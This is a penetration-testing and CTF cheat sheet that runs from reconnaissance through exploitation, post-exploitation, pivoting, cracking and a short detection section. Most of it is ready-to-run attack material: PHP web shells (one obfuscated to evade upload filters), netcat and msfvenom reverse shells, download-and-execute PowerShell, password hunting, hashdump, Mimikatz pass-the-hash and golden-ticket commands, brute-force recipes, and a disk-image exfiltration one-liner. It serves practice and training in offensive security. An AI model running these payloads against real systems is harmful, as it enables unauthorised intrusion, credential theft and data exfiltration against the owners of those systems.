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title subtitle author date titlepage titlepage-color urlcolor titlepage-rule-color titlepage-text-color table-of-contents toc-depth number-sections toc-title
Yet Another CTF Playbook
Version 3
evilcel3ri
June 2020 onwards
true
3b9cff
370000
0
true
4
true
Table of Contents

Reconnaissance

OSINT

Find accounts online

Crawl publicly available databases

Reverse look images

Nmap

Quickstart:

nmap -sC -sV --top-ports 20 <IP> -o <FILE>
nmap -sC -sV --open --reason <IP> -o <FILE>

Full ports scan:

nmap -sV -sC -p- -O --open <IP> -o <FILE>

Ping sweep:

nmap -sn -PE <IP or Range>

UDP scan:

nmap -sU <IP or Range>

Scan for open ports, determine open services:

nmap --open -sV <IP or Range>

Scan and run default scripts:

nmap -sC <IP or Range>

Run a specific script:

# location on Kali: /usr/share/nmap/scripts/
nmap --script <SCRIPT_NAME> <IP>

Skip ping:

nmap -Pn <IP>

Output result to file:

nmap <IP> -o <FILE> # text file
nmap <IP> -oG <FiLE> # greppable file
nmap <IP> -oN <FILE> # nmap file
nmap <IP> -oA <FILE> # all formats

Powershell

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<IP>", $_)) "Port
$_ is open!"} 2>$null

Basic Powershell commands:

bash powershell options
cd Set-Location
ls Get-ChildItem -Path, -File/Directory, -Filter, -Recurse, -Hidden, -ErrorAction SilentlyContinue
wc Measure-Object -word
cat Get-Content -Path

Get the size of a file: Measure-Object

Find a string in a file/directory:

Select-String -Path /path/ -Pattern '*.pdf'

Never forget: Get-Help COMMAND

Analysing results

Port 21 open

  • connect with ftp IP
  • check for anonymous:anonymous login
  • check the ftp version and nmap has a couple of quick-win scripts:
nmap --script ftp-anon <IP>
nmap --script ftp-vsftpd-backdoor <IP>
nmap --script ftp-vuln-cve2010-4221 <IP>

Port 22 open

  • possible default credentials, try a small hydra bruteforce:
hydra -L users.txt -P pass.txt IP ssh

Other wordlists to try out: /usr/share/wordlists/wfuzz/others/common_pass.txt

Think about creating a wordlist from the target website for example.

Go to Post-Exploitation

Port 25 open

You may be able to enumerate usernames through SMTP.

nc <IP> 25
[...]
VRFY root
252 2.0.0 root
VRFY idontexist
550 5.1.1 <idontexist>: Recipient address rejected: User unknown in local recipient table

Or the lazy way, use smtp-user-enum:

smtp-user-enum -M VRFY -u root -t <IP>

Port 53 open

  • add the IP and a domain name to your /etc/hosts files
  • try a zone transfer:
host -l <DOMAIN> <IP>
dig axfr @SRHOST <DOMAIN>
dnsrecon -d <DOMAIN>
  • enumerate subdomains:
amass enum --passive -d <DOMAIN>
sublist3r -d <DOMAIN> -t 3 -e bing

Port 80 open

  • Web-service running, use dirb, nikto or gobuster to get the most information as possible.

Examples:

  • dirb http://IP -r
  • gobuster dir -w DICT -t 30 -x php,txt,js,html,css You can use -f to try folders instead of files
  • if you plan to bruteforce, try generate wordlist with CeWL
  • if it's a Wordpress instance look into wpscan
  • sometimes an open FTP is also a feature from a running IIS instance which comes with a CalDav instance. Try it out with davtest and exploit with cadaver
  • dirsearch big.txt -e sh,txt,htm,php,cgi,html,pl,bak,old

Better crawl:

gobuster dir -w 'DICT' -x php -b 400,401,402,403,404,412,500,501,502,503 -s 200,301 --random-agent -r -u $1
WFUZZ
# POST
wfuzz --hc 404 -c -z list,admin -z file,/SecLists/Passwords/korelogic-password.txt -d "user=FUZZ&password=FUZ2Z" http://192.168.30.161/admin/index.php

# NTLM
wfuzz -c --ntlm "admin:FUZZ" -z file,/SecLists/Passwords/darkc0de.txt --hc 401 https://<ip>/api

# Basic Auth through Proxy
wfuzz -c --hc 404,400,401 -z file,/Audits/Activos/names.txt -z file,/Audits/Activos/names.txt --basic "FUZZ:FUZ2Z" -p 127.0.0.1:8080 https://<ip>/api/v1/
PHP RCE

test:

<?php phpinfo(); ?>

simple shell:

<?php system($_GET["c"]); ?>

<?php `$_GET["c"]`; ?>

file upload:

<?php file_put_contents('/var/www/html/uploads/test.php', '<?php system($_GET["c"]);?>'); ?>

file upload evasion: rot13 + urlencode

<?php $payload="%3C%3Fcuc%20flfgrz%28%24_TRG%5Bp%5D%29%3B%3F%3E"; file_put_contents('/var/www/html/uploads/test8.php', str_rot13(urldecode($payload))); ?>

Reverse proxy misconfiguration:

  • Sometimes, servers have a misconfiured reverse proxy. Thus, you need to add the hostnames that resolve to your target IP to your /etc/hosts file:
<IP> <HOSTNAME>

Common exploits:

  • XSS
  • SQLi (l'UNION fait la force!)
  • Directory Traversal (Path traversal list windows and path traversal list linux)
  • Default credentials (admin:admin, root:root... Check also the name of the service or the default password for the running application.)
  • if CGI-bin, check for Shellshock (TODO)
  • If GraphQL, this query describes the whole schema:
"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"

Go to

Other things:

sslscan <IP>

Website cloner:

wget -r -nH $URL

Port 88

In case you have a Kerberos instance, you can try to numerate the users with:

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <IP>

There is also the possibility to use Impacket's GetNPUsers.py script to find all the users that do not require pre-authentification.

There another tool, kerbrute with which you can do basically the same stuff than above and a little more.

Port 443 open

  • if the server only accepts localhost (you get that through the SSL certificate details), you will need to tunnel your connection through a user (needs already a first access to the server)

Common exploits:

Port 111, 139, 445 open

Check for Samba, Netbios or NFS shares.

  • Netbios

Basic scan:

nbtscan <IP>
nbtscan -O <FILE> <IP>
# generate an HTTP header
nbtscan -H
# Turns off this inverse name lookup, for hanging resolution
nbtscan -n
# PORT target(s) - This allows specification of a UDP port number to be used as the source in sending a query
nbtscan -p
  • SMB

Check up smb4k

List services available:

smbclient -L <IP>\C$
smbmap -H <IP>

List permissions:

smbclient -H <IP>

List content:

smbmap -R -H <IP>

Basic connection:

smbclient //<IP>/<SHARE> -U <USER> -P <PASSWORD>
# Anonymous connection
smbclient //<IP>/<SHARE> -N

Get all files from remote:

smbclient //<IP>/<PATH> -c "prompt OFF; recurse ON; cd '\<PATH>\'; lcd
'<LOCAL_PATH>'; mget *"

It is possible to use enum4linux for those kind of things (syntax is a bit easier too):

enum4linux -U <IP> # enum users
enum4linux -S <IP> # enum shares

Common exploits:

  • Login with no password

  • ETERNALBLUE: Spawn a reverse shell and use Helviojunior's script, send_and_execute.pyto send payload

  • Existing NFS mount

  • Mount the file system on your computer:

nmap -sV --script=nfs-showmount <target>
mkdir temp
mount -o nolock IP:/ $PWD/temp
mount -o rw,vers=2 <target>:<share> <local_directory>
# Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
mount -t cifs -o username=user,password=pass,domain=<DOMAIN> //<IP>/share-name /mnt/cifs
# Mount a Windows share on Windows from the command line
net use Z: \win-server\share password /user:domain\janedoe /savecred /p:no
# add a user if you can
groupadd --gid 1337 pwn
useradd --uid 1337 -g pwn pwn
  • Some RPC stuff
nmap -sV -p 111 --script rpcinfo <IP>

Port 161 (UDP)

sudo nmap -sU -sV -sC --open -p 161 <IP>
# get something out of that
snmp-check <IP>
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP>
snmpwalk -v1 -c public <IP>
# Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP <IP>

Existing databases

MsSQL:

sqsh -S <IP> -U <USER> -P <PASSWORD>
# known elevation technique for MsSQL
xp_cmdshell 'whoami';
go

MongoDB:

mongo -u <USER> -p <PASSWORD> <HOST:PORT/DB>
# get mongo shell
> db
> show collections
> db.task.find()
> db.task.insert(<EXPLOIT>)

MSQL:

Load external file into db:

load data infile '/etc/passwd/'
# load data local infile "../index.php"
into table test
fields terminated by "/n"

Disable security in the configuration: secure-file-priv = "" and enable local files if necessary: SET GLOBAL local_infile=1;

Port 5985

If this port is open, it's possible there is an instance of Windows Remove Management system. You can use EvilRM to connect to the target after you got credentials.

Go to Post-Exploitation

Port 8080

By default, Tomcat can run on port 8080. If this is the case, there are a couple of exploitation you might look into:

  • bruteforce:

You can find this script in the subfolder scripts in this repo.

ruby tomcat-brute.rb -w tomcat-betterdefaultpasslist.txt -H 10.10.10.95 -P 8080

Hackingarticles.in has listed a couple of other techniques (some of them are modules in Metasploit):

  • Tomcat Manager Authenticated Upload Code Execution
  • Tomcat War Deployer Script

If you have access to the manager and can upload a file, you can use this webshell: https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp

NSLookup

Basic lookup:

Note: NSLookup is noisy, use another tool in case the lookup of those domain is sensitive.

nslookup server <IP>

Host

Basic usage:

host <IP>

Zone transfert:

host -l <DOMAIN> <IP>

Automation

enum4linux -a <IP>

Exploitation

Bruteforcing

Check hacktricks for tips and commands.

Searchsploit

Basic usage:

searchsploit <KEYWORDS>

Copy path to clipboard:

searchsploit -p <ID>

Copy to current folder:

searchsploit -m <ID>

Get online link instead of local paths:

searchsploit -w <KEYWORDS>

Shells

Netcat

Basic bind shell:

nc -nvlp 443           # On local Kali
nc -nv <REMOTE-IP> 443 # On remote

Basic reverse shell:

sudo nc -nlvp 443                  # On local Kali
nc -nv <LOCAL-IP> 443 -e cmd.exe   # On remote Windows
nc -nv <LOCAL-IP> 443 -e /bin/bash # On remote Linux

Sending files:

sudo nc -nvlp 443 > incoming.exe     # Reciever
nc -nv <LOCAL-IP> 443 < incoming.exe # Sender

Scan:

nc -v -w3 -z IP SPORT-EPORT
  • -w3: no more than 3s per port
  • -z: minimal data sent

Persistence:

while [ 1 ]; do echo "ping"; nc -lp PORT -e /bin/sh; done

Tip: use nohup to create persistence even if the user logs out.

MSFVenom shells:

Linux

Linux Meterpreter reverse shell x86 multi stage:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf

Linux Meterpreter bind shell x86 multi stage:

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf

Linux bind shell x64 single stage:

msfvenom -p linux/x64/shell_bind_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf

Linux reverse shell x64 single stage:

msfvenom -p linux/x64/shell_reverse_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf

Windows

Windows Meterpreter http reverse shell:

msfvenom -p windows/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe

Windows Meterpreter bind shell:

msfvenom -p windows/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f exe > shell.exe

Windows CMD Multi Stage:

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe

Windows CMD Single Stage:

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

Windows add user:

msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe

Windows shell which doesn't break the application for a x86 architecture:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f exe -a x86 --platform windows -o sploit.exe

Windows Exec Nishang Powershell in python

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f python

Bad characters shikata_ga_nai:

msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=<IP> LPORT=<PORT> -f c -e x86/shikata_ga_nai -b "\x04\xA0"

Bad characters fnstenv_mov:

msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=<IP> LPORT=<PORT> -f c -e x86/fnstenv_mov -b "\x04\xA0"

Misc

Python Shell:

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py

Bash Shell:

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh

Perl Shell:

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl

ASP Meterpreter Shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

PHP Reverse Shell:

msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > phpreverseshell.php

To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. For example, for meterpreter/reverse_tcp payload:

msf>use exploit/multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <IP>
msf>set lport <PORT>
msf> set ExitOnSession false
msf>exploit -j

Webshells

  • PentestMonkey PHP webshell
  • Kali's Webshells: locate webshells

cURL

More: https://github.com/curl/curl-cheat-sheet

Upload file:

curl <IP> --upload-file <FILE>

Query as a bot:

curl -A "'Mozilla/5.0 (compatible;Googlebot/2.1; +http://www.google.com/bot.html)')" <IP>

Give parameters with encoding:

curl <IP> --data-urlencode urlConfig=<PATH>

Send request as logged user:

curl -u <USER> <IP> --data-binary <PAYLOAD>

Common Options (Source)

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

-d, --data <data> Send specified data in POST request. Details provided below.

-f, --fail Fail silently (don't output HTML error form if returned).

-F, --form <name=content> Submit form data.

-H, --header <header> Headers to supply with request.

-i, --include Include HTTP headers in the output.

-I, --head Fetch headers only.

-k, --insecure Allow insecure connections to succeed.

-L, --location Follow redirects.

-o, --output <file> Write output to . Can use --create-dirs in conjunction with this to create any directories specified in the -o path.

-O, --remote-name Write output to file named like the remote file (only writes to current directory).

-s, --silent Silent (quiet) mode. Use with -S to force it to show errors.

-v, --verbose Provide more information (useful for debugging).

-w, --write-out <format> Make curl display information on stdout after a completed transfer. See man page for more details on available variables. Convenient way to force curl to append a newline to output: -w "\n" (can add to ~/.curlrc).

-X, --request The request method to use.

POST

When sending data via a POST or PUT request, two common formats (specified via the Content-Type header) are:

  • application/json
  • application/x-www-form-urlencoded

Many APIs will accept both formats, so if you're using curl at the command line, it can be a bit easier to use the form urlencoded format instead of json because

  • the json format requires a bunch of extra quoting
  • curl will send form urlencoded by default, so for json the Content-Type header must be explicitly set

This gist provides examples for using both formats, including how to use sample data files in either format with your curl requests.

curl usage

For sending data with POST and PUT requests, these are common curl options:

  • request type

    • -X POST
    • -X PUT

  • content type header

  • -H "Content-Type: application/x-www-form-urlencoded"

  • -H "Content-Type: application/json"

  • data

    • form urlencoded: -d "param1=value1&param2=value2" or -d @data.txt
    • json: -d '{"key1":"value1", "key2":"value2"}' or -d @data.json

Examples

POST application/x-www-form-urlencoded

application/x-www-form-urlencoded is the default:

curl -d "param1=value1&param2=value2" -X POST http://localhost:3000/data

explicit:

curl -d "param1=value1&param2=value2" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://localhost:3000/data

with a data file

curl -d "@data.txt" -X POST http://localhost:3000/data

POST application/json

curl -d '{"key1":"value1", "key2":"value2"}' -H "Content-Type: application/json" -X POST http://localhost:3000/data

with a data file

curl -d "@data.json" -X POST http://localhost:3000/data

Powershell

Download remote files:

powershell "(New-Object System.Net.WebClient).DownloadFile("<IP+file>",
<Destination-File>)"

Post-Exploitation

Metasploit

Upgrade shell to meterpreter

  • Run the exploit directly in background: exploit -z
  • Use the post exploitation module: use post/multi/manage/shell_to_meterpreter (if you set the payload as simple reverse shell. Otherwise, it's meterpreter by default)
  • Set the session (find the sessions with sessions -l): set SESSION N
  • Connect to the session: sessions -i N

hashdump

  • In a meterpreter session run run post/windows/gather/hashdump

Improve your shell

  • sh -c uname -a; w; id; /bin/bash -i
  • For NMAP versions 2.0 to 5.8:
nmap --interactive
!sh
  • python -c 'import pty; pty.spawn("/bin/bash")'
  • stty raw -echo and then fg and export TERM=xterm

Local Recon

Windows

General recon:

whoami
hostname
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
ipconfig /all
netstat
wmic csproduct get name
wmic bios get serialnumber
wmic computersystem list brief
doskey /history > history.txt

Network discovery:

net view /all
net view \\<Hostname>
net users
net users /domain
net localgroup administrators
net group administrators
wmic rdtoggle list
wmic useraccount list
wmic group list
wmic netlogin get name,lastlogon,badpasswordcount
wmic netclient list brief

Ping scan:

C:\> for \L %I in (1,1,254) do ping -w 30 -n 1 192.168.1.%I | find "Reply" >> output.txt

Look for passwords:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt *.bat *.ps1
# don't forget that this exists
ls -force

Specific string search:

ls -r C:\PATH -file | {Select-String -path $_ -pattern <SEARCH TERM>}

Credentials:

# Import credentials from a xml powershell file
$creds = Import-CliXml -Path C:\Users\file.txt
$creds.GetNetworkCredential().Password

# it is also possible to grab the current user's credential with
Get-Credential
# or for a specific user
Get-Credential -credential $user

Get-Credential returns an object for which there is a good documentation. However, it might not run if you are not the user you try to get credential for.

Automation

JuicyPotato, HotPotato...

Linux

General recon:

whoami
hostname
ifconfig
id
uname -a
cat /etc/passwd
cat /etc/shadow
cat /etc/*-release
sudo -l
ps -aux
netstat -tulpn
watch ss -stulp
lsof -i
# show last logged users
last
df -h
# reset pw in one line
echo "user:pass" | chpasswd
# list users
getent passwd

Run a command as a user:

sudo -u <USER>
sudo -i -u <USER>

Network discover:

ifconfig
ip a

Ping scan:

for i in `seq 1 254`; do ping 192.168.1.$i; done

General find:

  • -L: follow symbolic links

File types:

  • f: a regular file
  • d: directory
  • l: symbolic link
  • c: character devices
  • b: block devices
  • p: named pipe (FIFO)
  • s: socket

Options:

  • -amin n: The file was last accessed n minutes ago.
  • -anewer: The file was last accessed more recently than it was modified.
  • -atime n: The file was last accessed more n days ago.
  • -cmin n: The file was last changed n minutes ago.
  • -cnewer: The file was last changed more recently than the file was modified.
  • -ctime n: The file was last changed more than n days ago.
  • -empty: The file is empty.
  • -executable: The file is executable.
  • -false: Always false.
  • -fstype type: The file is on the specified file system.
  • -gid n: The file belongs to group with the ID n.
  • -group groupname: The file belongs to the named group.
  • -ilname pattern: Search for a symbolic line but ignore the case.
  • -iname pattern: Search for a file but ignore the case.
  • -inum n: Search for a file with the specified node.
  • -ipath path: Search for a path but ignore the case.
  • -iregex expression: Search for an expression but ignore the case.
  • -links n: Search for a file with the specified number of links.
  • -lname name: Search for a symbolic link.
  • -mmin n: The file data was last modified n minutes ago.
  • -mtime n: The file data was last modified n days ago.
  • -name name: Search for a file with the specified name.
  • -newer name: Search for a file edited more recently than the file given.
  • -nogroup: Search for a file with no group id.
  • -nouser: Search for a file with no user attached to it.
  • -path path: Search for a path.
  • -readable: Find files that are readable.
  • -regex pattern: Search for files matching a regular expression.
  • -type type: Search for a particular type.
  • -uid uid: The file numeric user id is the same as the uid.
  • -user name: The file is owned by the user that is specified.
  • -writable: Search for files that can be written to.
Find (by permissions)

Find SUID/SGID files:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -perm /u=s
find / -perm /g=s
find / -perm 2644
find / -perm 1551
find . -type f -perm 0777 -print
find / -type f ! -perm 777

Find read only files:

find / -perm /u=r
find / -perm /a=x

Find all 777 permission files and use chmod command to set permissions to 644:

find / -type f -perm 0777 -print -exec chmod 644 {} \;
Find (and execute)

For example to delete all files ending with .temp from the /var/log/ you would use:

find /var/log/ -name `*.temp` -delete

Find and remove single File:

find . -type f -name "tecmint.txt" -exec rm -f {} \;

Find and remove Multiple File:

find . -type f -name "*.txt" -exec rm -f {} \;
find . -type f -name "*.mp3" -exec rm -f {} \;

Send output from the find command to a file:

find / -name *.mp3 -fprint nameoffiletoprintto

Find and execute a command against a file:

# Search and edit a file at the same time
find / -name filename -exec nano '{}' \;
Find (user based)

Find single files based on user:

find / -user root -name file.txt

Find all files based on group:

find /home -group developer

Find Particular Files of User:

find /home -user tecmint -iname "*.txt"
Find (time based)

Find last 50 days modified files:

find / -mtime 50

Find last 50 days accessed files:

find / -atime 50

Find Last 50-100 Days Modified Files:

find / -mtime +50 –mtime -100

Find Changed Files in Last 1 Hour:

find / -mmin -60

Find Accessed Files in Last 1 Hour:

find / -amin -60
Find (size based)
  • b: 512-byte blocks (default)
  • c: bytes
  • w: two-byte words
  • k: Kilobytes
  • M: Megabytes
  • G: Gigabytes

Find Size between 50MB – 100MB:

find / -size +50M -size -100M

Find and Delete 100MB Files:

find / -type f -size +100M -exec rm -f {} \;

Find Specific Files and Delete:

find / -type f -name *.mp3 -size +10M -exec rm {} \;

Find all emtpy files:

find /tmp -type f -empty

Find all empty directories:

find /tmp -type d -empty

Find all hidden files:

find /tmp -type f -name ".*"

Automation

If you are on a modern ubuntu, there is a Privesc vector through the USB creator program: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

Send files to remote hosts

Powershell

Invoke-Webrequest -Uri <IP> -OutFile <DestFile>

# Win 7
(New-Object System.Net.WebClient).DownloadFile("http://<IP>/nc.exe", "c:\nc.exe")

# Win 8 and later
wget "http://<IP>/nc.exe" -outfile "c:\nc.exe"

Impacket-smbserver

impacket-smbserver secure . (-smb2support)
copy \\<IP>\secure\<FILE>

Firewall

# Get Firewall rules
Get-NetFirewallRule -all | Out-GridView
Get-NetFirewallRule -all | Export-csv <file.csv>

# Add a Firewall rule
New-NetFirewallRule -Action Allow -DisplayName <NAME> -RemoteAddress <IP>

Pivoting

SSH access always gives you the easiest pivot. You can set up a SOCKS proxy by adding the -D flag as follows.

ssh $USERNAME@$RHOST -D 1080

This opens a SOCKS proxy on your machine’s port 1080, which is proxied to the target system. You can configure to use it with proxychains quite easily.

Another nice addition to the proxying portfolio is sshuttle, it does some magic to automatically proxy traffic from your host to a certain subnet through the target system.

sshuttle -r $USERNAME@$RHOST 10.1.1.0/24

If you only have Windows systems to deal with, Chisel comes highly recommended. It’s a bit more complicated to set up a full SOCKS proxy, as it requires two sessions on the target. The required commands are as below.

On Kali:

./chisel server -p 8000 --reverse

On target:

.\chisel_windows_386.exe client $LHOST:8000 R:8001:127.0.0.1:9001

Now we are listening on localhost:8001 on kali to forward that traffic to target:9001.

Then, open the Socks server: On target:

.\chisel_windows_386.exe server -p 9001 --socks5

On Kali:

./chisel client localhost:8001 socks

Port forwarding

If you find a vulnerable service running on the target host, one way to exploit it would be to forward the port where this service is running towards your machine and launch the exploit from there.

Windows

plink.exe -ssh -l <USER> -pw <PASSWORD> -R <BIND_IP>:<BIND_PORT>:127.0.0.1:<PORT> <BIND_IP>

Linux

Netcat tunneling

Listeners on attacker and victim machine.

On the relay machine:

mknod backpipe p
nc 127.0.0.1 444 0<backpipe | nc 127.0.0.1 2222 1>backpie

SSH tunneling

# port forward
ssh -N -R <BIND_IP>:<BIND_PORT>:host:hostport <user@address>

# dynamic port forward + add 8888 port to the proxychains conf
ssh -N -D 127.0.0.1:8888 <user@address>

SSH over HTTP (Squid)

  • socat
socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128

ssh [email protected] -p 9999
  • proxytunnel
proxytunnel -p 192.168.1.41:3128 -d 127.0.0.1:22 -a 5555

ssh [email protected] -p 5555
  • proxychains
http 192.168.1.41 3128

proxychains ssh [email protected]

TCP over HTTP

Check: https://sensepost.com/discover/tools/reGeorg/

HTTP Redirectors

  • socat
socat TCP4-LISTEN:80,fork TCP4:REMOTE-HOST-IP-ADDRESS:80
  • iptables
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination REMOTEADDR:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

Windows Socks proxy

Check: https://github.com/p3nt4/Invoke-SocksProxy

Active Directory

Bypass Applocker

  • Rundll32
rundll32.exe PowerShdll.dll,main

Check: https://github.com/p3nt4/PowerShdll

Pass the hash

  • Invoke a command Remotely
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1')

 Invoke-WMIExec -Target SVHOST2  -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell whoami | out-file \\SVHOST2\C$\windows\thing.txt"
  • Invoke Mimikatz Remotely
Invoke-WMIExec -Target SVHOST2  -Username Administrator
-Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell -Enc SQBFA...AoA"
  • Pass The Hash with Mimikatz
 Invoke-Mimikatz -Command '"sekurlsa::pth /user:adm_maint /ntlm:cbe55f143fcb6d4687583af520123b89 /domain:lazuli"'

Kerberos

  • Generate Golden Ticket (Domain Admin Required)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:LAZULI.CORP /user:krbtgt"'
Invoke-Mimikatz  -Command '"kerberos::golden /user:adon /domain:LAZULI.CORP /krbtgt:ca1c2aeda9160094be9971bdc21c50aa /sid:S-1-5-21-1238634245-2147606590-2801756923 /id:500 /ticket:admin.kirbi /ptt"
Invoke-Mimikatz  -Command '"kerberos::ptt admin.kirbi"'

Cracking

Decompress things:

tar xf archive.tar
tar xvzf archive.tar.gz
tar xjf archive.tar.bz2
tar xtvf file.tar.gz | grep <WORD>
tar -C <DEST> -xvf <FILE>
unzip archive.zip
gzip -d archive.gz

# read a gz file without decompressing
zcat archive.gz
zless archive.gz
zgrep <WORD> /var/log/mailliog*.gz

# Search instide a zip archive
zipgred *.txt archive.zip

Compress things:

zip -r file.zip /dir/*
tar cf archive.tar files
tar czf archive.tar.gz files
tar cjf archive.tar.bz2 files
gzip file

John

john --wordlist=dict.txt passwd
john --show passwd
john --restore
unshadow passwd shadow > unshadowed.txt
john --wordlist=dict.txt unshadowed.txt
keepass2john /root/Desktop/NewDatabase.kdb > file
john -incremental:alpha -format=keepass file

Hashcat

Basic use:

hashcat -m 0 -a 0 -o <OUTPUT_FILE> <INPUT_FILE> <WORDLIST>

# basic bruteforce attack for MD5
hashcat -a 0 -m 0 hashes.txt dict.txt

# basic bruteforce with combinations for MD5 (this will add the combinations of
hashcat -a 1 -m 0 hashes.txt dict.txt
  • -m: defines the algorithm type (full list)
  • -a: attack mode (0: straight, 1: combination, 3: brute-force)

Hydra

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5
hydra -L users.txt -P pass.txt <IP> -s <PORT> http-post-form "/users/sign_in:user[email]=^USER^&user[password]=^PASS^&user[Commit]=Log inn:Invalid Email or password.
hydra -P /usr/share/wordlistsnmap.lst <IP> smtp -V

More cheats from https://github.com/frizb/Hydra-Cheatsheet

hydra -L ./webapp.txt -P ./webapp.txt <IP> http-get /admin
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://<IP>
hydra -l admin -P ./passwordlist.txt <IP> -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Binwalk

Steghide

steghide extract -sf <FILE>

Fcrackzip

Run as dictionnary mode, try to decompress the target:

fcrackzip -u -D -p <Wordlist> <FILE>

Uncipher stuff

Handy tool for RSA: RsaCTFTool

Exfiltration

Encrypted Exfiltration channel:

Exfiltrate the contents of an image via SSH to another machine, compressing (-C) the content.

dd if=/dev/rdisk0s1s2s bs=65536 conv=noerror,sync | ssh -C user@<IP> "cat >/tmp/image.dd"

Detection

This section cover detection malicious activity on system and could be a good list of stuff to clean up.

Stages:

  • Preparation
  • Identification
  • Containment
  • Eradication
  • Recovery
  • Lesson Learned

Linux

Users

List connected users:

w
who

Linux systems keep a trace of the connections. keeping in memory user, IP and even length of the connection:

last

List connection errors:

lastb

List the recent history the current user:

history

su otheruser
history

Check if there isn't a new user registered:

cat /etc/passwd
awk -F':' '{ print $1}' /etc/passwd

# list only user using shells
cat /etc/passwd | grep /bin/bash (ou zsh, sh, etc.)

# list available shells on your machine
cat /etc/shells

Processes

Check processes:

ps
ps aux
top
lsof -i
lsof -i -p <PID>

# check files open by a process

lsof -l
lsof -p <PID>

Network

Capture traffic on any interface from a target host and specific port and output to an file:

tcpdump -w <FILENAME>.pcap -i any dst <TARGET IP> and port 80

Save pcap file on rotating size:

tcpdump -n -s65353 -C 1000 -w '%host_%Y-%m-%d_%H:%M:%S.pcap'

Save pcap to a remote host:

tcpdump -w - | ssh <REMOTE IP> -p 50005 "cat - > /tmp/remotecapture.pcap"

List all current iptables rules:

iptables -L

Flush rules:

iptables -F

Export existing iptables firewall rules:

iptables-save > firewall.out

Restore firewall rules:

iptables-restore < firewall.out

Block all connections:

iptables-policy INPUT DROP
iptables-policy OUTPUT DROP
iptables-policy FORWARD DROP

Check ports:

# list TCP/UDP open ports

netstat -lntup
ss -lntup

# use routes

netstat -r

# show routes stats

netstat -s
ss -s

Check network and routes:

ip address
ip a
ip route

Check running crons:

crontab -l
crontab -u user -l
ls -la /etc/cron.daily
ls -la /etc/cron.hourly
ls -la /etc/cron.weekly

Quick search modified files (check the General Find section for more detail):

Find files modified in the past 5 days:

find / -mtime -5 -ctime -5

